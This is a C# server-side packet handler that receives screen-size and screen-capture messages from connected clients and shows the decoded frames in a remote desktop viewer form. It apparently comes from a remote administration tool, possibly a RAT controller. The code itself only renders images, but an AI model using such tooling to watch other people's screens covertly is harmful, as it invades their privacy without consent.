2019-06-22 16:32:45 +03:00

90 lines
3.2 KiB
C#

using Server.Forms;
using Server.Helper;
using Server.MessagePack;
using Server.Connection;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
namespace Server.Handle_Packet
{
public class HandleRemoteDesktop
{
public HandleRemoteDesktop(Clients client, MsgPack unpack_msgpack)
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "screens":
{
Debug.WriteLine("I got the screen size");
ScreenSize(client, unpack_msgpack);
break;
}
case "capture":
{
Capture(client, unpack_msgpack);
break;
}
}
}
public void ScreenSize(Clients client, MsgPack unpack_msgpack)
{
FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
try
{
if (RD.Client == null)
{
RD.Client = client;
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
RD.numericUpDown2.Maximum = Screens - 1;
RD.labelWait.Visible = false;
RD.timer1.Start();
RD.button1.Enabled = true;
RD.button1.Tag = (object)"play";
RD.button1.PerformClick();
}
}
catch { }
}
public void Capture(Clients client, MsgPack unpack_msgpack)
{
try
{
FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
try
{
if (RD != null)
{
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
{
RD.pictureBox1.Image = decoded;
RD.RenderSW = Stopwatch.StartNew();
}
RD.FPS++;
if (RD.sw.ElapsedMilliseconds >= 1000)
{
RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length);
RD.FPS = 0;
RD.sw = Stopwatch.StartNew();
}
}
else
{
client.Disconnected();
return;
}
}
catch (Exception ex) { Debug.WriteLine(ex.Message); }
}
catch { }
}
}
}